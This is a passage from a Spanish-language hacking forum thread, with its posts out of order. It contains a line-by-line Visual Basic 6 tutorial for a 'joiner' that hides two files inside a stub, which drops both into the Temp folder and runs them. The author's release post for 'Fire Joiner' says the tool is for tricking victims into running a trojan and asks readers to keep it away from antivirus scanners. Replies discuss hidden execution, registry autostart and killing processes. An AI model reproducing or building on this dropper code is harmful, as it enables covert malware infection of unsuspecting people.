Mensajes

Oops..!

Todo lo que me esforze para hacer este tutorial (a mano) y luego para pasarlo aqui y pues nadie escribe...

Salu2..!!

[Edito]

Esa es otra falla... Gracias... a ver como lo soluciono...



Edito

Bueno les dire las utilidades del joiner y que les gustaria o que fuera bueno agregarle:
-Cambiar el nombre
-Run Hide (Correr modo oculto)
-Se incia automaticamente con Windows Modificando el Regedit
-Mata Procesos

Salu2..!

Gracias por el Apoyo!

Mañana presento la version 1.3...

Ya veran.!

Ahh.. ok..

Cuando dije ¿Seguro en que sentido?

Era porque tu dijistes que no era muy seguro... "no es nada seguro"

[no es nada seguro...]

5-Interfaz "Buena"

LOOL MadAntrax's style... muy viston ya... no hay mas ideas? Todo lo hacen igual... esa combinacion de controles ya me aburre... pobres de sus autores...

Me lo suponia...Aunque no me copie. Y esos contrles me gustan mucho.

Claro todos los joiners son iguales

Te equivocas, los hay buenos y malos... Y los buenos no son echos en VB (no esta dirijido al tuyo sino a todos los joiners echos en vb), appending data sucks, esta muy visto y no es nada seguro...

1- Revisa lo que citas..
2- ¿Seguro en que sentido?

Emmm..
1- Parecido..
Claro todos los joiners son muy parecidos. Tal vez te refieres a interfaz y es porque los controles los saque de el cactus joiner

2- Si lo de 2 archivos es para empezar...

Gracias por responder...

[NO]

Hola.

Este tutorial tiene como objetivo enseñar a hacer su porpio Joiner. Lo hice basandome en la primera version de mi Fire Joiner y bueno vamos a ver que les parece.

En este tutorial NO se enseñara a crear un Joiner con miles de utilidades tan solo tendra las de unir 2 archivos con cualquier extension.

Comenzemos:

En primer lugar les explicare basicamente como trabaja un Joiner:

Exe

1- Lee la dll o Stub
2- Lee los archivos a unir
3- Los separa por Firmas
4- Los guarda en un archivo final

Stub o Dll

1- Se lee a si mismo
2- Se divide a si mismo con la funcion Split con determinada firma
3- Guarda los 2 archivos en otro lugar
4- Los ejecuta con la api ShellExecuteA

Como ven es muy simple pero desde este momento les advierto que tienen que tener conocimientos sobre VB 6.0.


Explicare linea por linea el codigo del Ejecutable o Exe:

Código (vb) [Seleccionar] Expandir


Open App.Path & "/nombre.dll" For Binary Access Read As #1
Dll = Input(LOF(1), #1)
Close #1


- Abre la Dll
- La lee completa
- La cierra

Código (vb) [Seleccionar] Expandir


Open text1.text For Binary Access Read As #1
FI1 = Input(LOF(1), #1)
Close #1


- Abre el primer archivo a unir
- Lo lee completo y lo guarda en la variable FI1
- Lo cierra

Código (vb) [Seleccionar] Expandir


Open text2.text For Binary Access Read As #1
FI2 = Input(LOF(1), #1)
Close #1


- Abre el segundo archivo a unir
- Lo lee completo y lo guarda en la variable FI2
- Lo cierra

Código (vb) [Seleccionar] Expandir


FI1c = StrReverse(FI1)
FI2c = StrReverse(FI2)
FI1d = Trim(FI1c)
FI2d = Trim(FI2c)
Ext1 = Ext(Text1.Text)
Ext2 = Ext(Text2.Text)
Name1 = Nam(Text1.Text)
Name2 = Nam(Text2.Text)

- cifra el primer archivo con la funcion StrReverse
- cifra el segundo archivo con la funcion StrReverse
- Le quita los espacios que sobran a los lados
- Le quita los espacios que sobran a los lados
- Saca la extension del primer archivo con la funcion Ext
- Saca la extension del segundo archivo con la funcion Ext
- Saca el nombre de el primer archivo con la funcion Nam
- Saca el nombre de el segundo archivo con la funcion Nam

Código (vb) [Seleccionar] Expandir


Open "Tetx3.Text" For Output Access Write As #1
Print #1, Dll & "Firma" & FI1d & "Firma" & FI2d & "Firma" & Ext1 & "Firma" & Ext2 & "Firma" & Name1 & "Firma" & Name2 & "Firma"
Close #1

- Abre el Archivo final
- Imprime todos los datos separados por firmas
- Cierra



Explicare linea por linea el codigo del Stub o Dll:

Código (vb) [Seleccionar] Expandir


Private Declare Function ShellExecuteA Lib "SHELL32.DLL" (ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

- Declara la Api ShellExecuteA

Código (vb) [Seleccionar] Expandir


Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1
Yo = Input(LOF(1), #1)
Close #1


- Se abre a si mismo
- Se lee a si mismo
- Se cierra

Código (vb) [Seleccionar] Expandir


Yo2 = Split(Yo, "Firma")
FI1 = StrReverse(Yo2(1))
FI2 = StrReverse(Yo2(2))
Xten1 = Yo2(3)
Xten2 = Yo2(4)
Nam1 = Yo2(5)
Nam2 = Yo2(6)


- Divide el archivo con la funcion Split usando las Firmas
- descifra el primer archivo y lo guarda en la variable FI1
- descifra el segundo archivo y lo guarda en la variable FI2
- Saca la Extension del primer archivo y la guarda en la variable Xten1
- Saca la Extension del segundo archivo y la guarda en la variable Xten2
- Saca el Nombre del primer archivo y la guarda en la variable Nam1
- Saca el Nombre del segundo archivo y la guarda en la variable Nam2

Código (vb) [Seleccionar] Expandir


Open Environ("Temp") & "\" & Nam1 & "." & Xten1 For Output Access Write As #1
Print #1, , FI1
Close #1
Open Environ("Temp") & "\" & Nam2 & "." & Xten2 For Output Access Write As #1
Print #1, , FI2
Close #1


- Crea el primer archivo "Joineado"
- Imprime el primer archivo
- Cierra
- Crea el segundo archivo "Joineado"
- Imprime el segundo archivo
- Cierra

Código (vb) [Seleccionar] Expandir


ShellExecuteA Me.hWnd, "Open", Environ("Temp") & "\" & Nam1 & "." & Xten1, vbNullString, vbNullString, 1
ShellExecuteA Me.hWnd, "Open", Environ("Temp") & "\" & Nam2 & "." & Xten2, vbNullString, vbNullString, 1


- Ejecuta el primer archivo
- Ejecuta el segundo archivo



Bueno y eso es todo..

Solo queda arreglar un poquito el code. Que por cierto no se los hare tambien.

Y tendran su Joiner Listo.

Sin presumir mucho les digo que con este Tutorial, cualquiera con conocimientos minimos o medios de Visual Basic 6 puede crear su propio Joiner. Asi que aprovechenlo, que esta muy bueno. Claro tiene sus fallas y eso se va a ir mejorando.

Nota: Si lo van a pegar a otra parte por favor coloquen la fuente o el autor:

Freeze
foro.elhacker.net o http://freeze-web.com

Salu2..!!


Editado 1/09/07 12:55 p.m.

Como todos los tutoriales tienen sus fallas y aqui algunas que nadie ha visto:

En alguna parte del Tutorial para sacar el Nombre de el Programa y la Extension de un archivo se utilizan 2 Funciones que son Nam y Ext, esas no estan prestablecidas tienen que agregarlas al codigo:

Ext:

Código (vb) [Seleccionar] Expandir


Public Function Ext(ruta As String)
FullName = Mid$(ruta, InStrRev(ruta, "\") + 1)
Ext = Mid$(FullName, InStrRev(FullName, ".") + 1)
End Function


Ext:

Código (vb) [Seleccionar] Expandir


Public Function Nam(ruta As String)
FullName = Mid$(ruta, InStrRev(ruta, "\") + 1)
Nam = Mid$(FullName, 1, InStrRev(FullName, ".") - 1)
End Function



Y ahora para que esten mucho mas claros en lo que estan haciendo les explicare algunas de las funciones que se utilizan:

Open:
Le dice al Visual Basic a que archivo debe acceder.

Input:
Funciona junto con Open e indica si quiere abrir el archivo.

LOF:
Lenght Of File. Significa Tamaño del Archivo. Sirve para sacar la longitud del archivo.

StrReverse:
Devuelve la cadena invertida.

Trim:
Devuelve una cadena sin espacios a los lados.

Split:
Sirve para delimitar y dividir en arrays una cadena.

Environ:
Devuelve una cadena la cual esta asociada con una variable del Sistema Operativo.

[Fire Joiner]

Hola.

Les presento mi ultimo proyecto:

Fire Joiner

Este joiner permite unir 2 archivos en un ejecutable. Asi podras engañar a tus victimas para infectarlas con un troyano.

Pantalla Principal

Caracteristicas

1-Permite unir 2 archivos
2-StrReverse Encription
3-Permite Cambiar el Nombre con el cual sera ejecutado
4-Manejo Facil
5-Interfaz "Buena"

Proximamente

1-Cambiar el icono al ejecutable final
2-Otro metodo de encriptacion



Nota: Se les agradece no mandarlo a webs de antivirus, tales como virustotal

Espero que si encuentran Bug's me los hagan saber en este mismo post.

Gracias... A todos.

Link de Descarga: AQUI

Arreglado..

Ah pues con razon...

Entonces si esta muy bueno. Solamente debo probarlo en un ciber.

Y el source cuando lo liberas?-...

No quiero ser muy ignorante.. pero..

Lo use y la respuesta fue (otra ip) eso que quiere decir